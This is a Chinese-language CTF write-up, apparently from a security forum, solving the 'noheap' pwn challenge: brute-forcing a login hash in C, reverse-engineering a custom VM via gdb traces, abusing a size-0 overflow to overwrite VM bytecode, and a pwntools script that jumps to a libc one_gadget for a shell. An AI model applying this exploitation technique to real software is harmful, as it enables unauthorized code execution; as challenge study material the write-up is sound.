首页
社区
课程
招聘
[原创]noheap
2018-6-26 23:33 2576

[原创]noheap

2018-6-26 23:33
2576

这道题首先需要登录,给了一个hash出来。

 

通过逆向可知,拿到4个随机byte后映射到了[0x30303030, 0x5a5a5a5a],之后做了一些hash算法。hash算法不太重要,因为这个范围可以直接爆破。

#include <stdio.h>
#include "defs.h"

unsigned int calc(unsigned int *a1)
{
    *a1 = 0x343FD * *a1 + 0x269EC3;
    return *a1;
}
__int64 hash(char *buf, int len)
{
    char *v2; // rax
    int len_; // [rsp+0h] [rbp-1Ch]
    char *buf_; // [rsp+4h] [rbp-18h]
    unsigned int v6; // [rsp+14h] [rbp-8h]

    buf_ = buf;
    len_ = len;
    v6 = 0;
    do
    {
        v2 = buf_++;
        v6 = 0x83 * v6 + (unsigned __int8)*v2;
        --len_;
    }
    while ( len_ > 0 );
    return v6;
}
void hexdump(unsigned char* buf, size_t size) {              
    int i,j;                                                 
    for (i = 0;i < size;i += 16)                             
    {
        for (j = i;j < size && j < i + 16;j++)               
        {                                                    
            printf("%02x", buf[j]);                         
        }                                                    
        puts("");                                            
    }                                                        
}                                                            

int main(int argc, char *argv[])
{
    unsigned int randint; // [rsp+10h] [rbp-50h]
    unsigned int tmp;
    char s1[8];
    unsigned int v5; // [rsp+1Ch] [rbp-44h]
    unsigned int dst = (unsigned int)atoi(argv[1]);
    for (randint = 0x30303030; randint <= 0x5a5a5a5a; ++randint) {
        tmp = randint;
        *(_DWORD *)s1 = calc(&tmp);
        *(_DWORD *)&s1[4] = calc(&tmp);
        v5 = hash(s1, 8);
        if (v5 == dst) {
            //printf("%x", randint);
            hexdump(s1, 8);
            return 0;
        }
    }
    return 0;
}

继续看题。

 

核心逻辑在0x1470处,注意到这里跳转是跳到一个奇怪的地址0x1107上,跟过去发现是一个vm。

 

回头看,发现跳转目标是异或计算得来,输入的选项也被用来计算取值了,那么init_array里面应该有东西。0xCB5这里做了初始化工作,用随机值和函数地址异或,发到一张表里。跳转时就是从表里取值,并且同时给0x203140写了一些值。简单看一眼vm,发现0x203140就是vmcode。

 

略过vm,先看堆操作逻辑。可以看到0x1674有明显溢出,size设0即可同时溢出堆和bss。不过因为更新全局变量在后,所以覆盖不了0x203240全局变量,否则可覆盖指针。

showfree写的很死,而且分配时还限制了size,无法走house of orange的套路,那么堆溢出不可行了,应该走bss了。

 

堆溢出仍然可行,见https://bbs.pediy.com/thread-229401.htm

 

动态调试观察bss,发现0x203140可以覆盖,也就是说可以控制vmcode。那么这题就变成vm逆向题了。

 

直接动态调试猜测vm逻辑,下命令断在0x118E,走一次malloc的逻辑,追出rax和vm结构体内容,再稍加猜测、标注结构体,如下:

01 03 13 01  0f 04 06 01  09 14 01 02  13 16 00 40

Breakpoint 1, 0x000055555555518e in ?? () 01 03 vm.reg = 3
rax            0x555555555190   93824992235920
0x7fffffffdcb0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcc0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdce0: 0x0000000000000001      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 13 vm.call = (&vm)[-vm.reg]
rax            0x5555555553e5   93824992236517
0x7fffffffdcb0: 0x0000000000000002      0x0000000000000000
0x7fffffffdcc0: 0x0000000000000003      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdce0: 0x0000000000000013      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 01 0f vm.reg = 0x0f
rax            0x555555555190   93824992235920
0x7fffffffdcb0: 0x0000000000000003      0x0000555555555107
0x7fffffffdcc0: 0x0000000000000003      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdce0: 0x0000000000000001      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 04 vm.off = code[reg]
rax            0x55555555520c   93824992236044
0x7fffffffdcb0: 0x0000000000000005      0x0000555555555107
0x7fffffffdcc0: 0x000000000000000f      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdce0: 0x0000000000000004      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 06 vm.call += vm.off
rax            0x55555555524f   93824992236111
0x7fffffffdcb0: 0x0000000000000006      0x0000555555555107
0x7fffffffdcc0: 0x000000000000000f      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000040      0x0000000000000000
0x7fffffffdce0: 0x0000000000000006      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 01 09 vm.reg = 0x09
rax            0x555555555190   93824992235920
0x7fffffffdcb0: 0x0000000000000007      0x0000555555555147
0x7fffffffdcc0: 0x000000000000000f      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000040      0x0000000000000000
0x7fffffffdce0: 0x0000000000000001      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 14 (&vm)[-vm.reg] = vm.call
rax            0x55555555540f   93824992236559
0x7fffffffdcb0: 0x0000000000000009      0x0000555555555147
0x7fffffffdcc0: 0x0000000000000009      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000040      0x0000000000000000
0x7fffffffdce0: 0x0000000000000014      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 01 02 vm.reg = 2
rax            0x555555555190   93824992235920
0x7fffffffdcb0: 0x000000000000000a      0x0000555555555147
0x7fffffffdcc0: 0x0000000000000009      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000040      0x0000000000000000
0x7fffffffdce0: 0x0000000000000001      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 13 vm.call = (&vm)[-vm.reg]
rax            0x5555555553e5   93824992236517
0x7fffffffdcb0: 0x000000000000000c      0x0000555555555147
0x7fffffffdcc0: 0x0000000000000002      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000040      0x0000000000000000
0x7fffffffdce0: 0x0000000000000013      0x0000000000000000

Breakpoint 1, 0x000055555555518e in ?? () 16 jmp vm.call 
rax            0x55555555544c   93824992236620
0x7fffffffdcb0: 0x000000000000000d      0x00005555555555e4
0x7fffffffdcc0: 0x0000000000000002      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000040      0x0000000000000000
0x7fffffffdce0: 0x0000000000000016      0x0000000000000000

那么走这个vm,就可以任意控制pc,并且可以从栈上读取现成的值,再观察最后一步跳转到实际malloc逻辑的栈情况,发现one_gadget可用。于是思路就是从栈上拿一个libc地址出来,做偏移得出one_gadget,跳转即可:

vm.reg = 13 # 01 0d
vm.call = vm[-reg] = write+16 # 13
vm.reg = 8 # 01 08
vm.off = code[reg] = 24953 # 04 
vm.call -= vm.off # 05
jmp vm.call # 16
01 0d 13 01 08 04 05 16 p64(24953)

最后利用脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
def login():
    r.recvuntil('Hash:')
    dst = int(r.recvline(), 16)
    info(dst)
    r.recvuntil('Input:')
    os.system("./hack %d > hash" % dst)
    r.send(unhex(read('hash')) + '\x00')
    #r.send(unhex(raw_input('#').strip()) + '\x00')

def add(size, data):
    r.sendlineafter('>> ', '1')
    r.sendafter(':', str(size).ljust(16, '\x00'))
    r.sendafter(':', flat(data))

def exploit(r):
    login()
    add(0, ['A'*0x80, '\x01\x0d\x13\x01\x08\x04\x05\x16', 24953])
    r.sendlineafter('>> ', '1')

    r.interactive()

总体说来此题漏洞明显,hash爆破和vm逆向也比较轻松。


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2018-6-29 16:44 被diycode编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回